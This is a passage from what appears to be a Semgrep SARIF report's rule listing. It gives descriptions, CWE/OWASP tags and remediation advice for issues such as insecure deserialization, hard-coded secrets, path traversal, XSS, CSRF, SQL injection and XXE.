bucket."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement","id":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","name":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-policy-statement.public-s3-policy-statement"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"help":{"markdown":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher)\n - [https://golang.org/pkg/crypto/tls/#InsecureCipherSuites](https://golang.org/pkg/crypto/tls/#InsecureCipherSuites)\n","text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","id":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","name":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.tls.tls-with-insecure-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n - [https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati](https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati)\n","text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","id":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","name":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","id":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","name":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django","id":"python.django.file.tainted-file-response-django.tainted-filename-response-django","name":"python.django.file.tainted-file-response-django.tainted-filename-response-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-file-response-django.tainted-filename-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"help":{"markdown":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content)\n - [https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11](https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response](https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#response-objects](https://flask.palletsprojects.com/en/1.1.x/api/#response-objects)\n","text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","id":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","name":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","id":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","name":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","id":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","name":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","id":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","name":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","id":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","name":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","id":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","name":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"help":{"markdown":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","id":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","name":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE 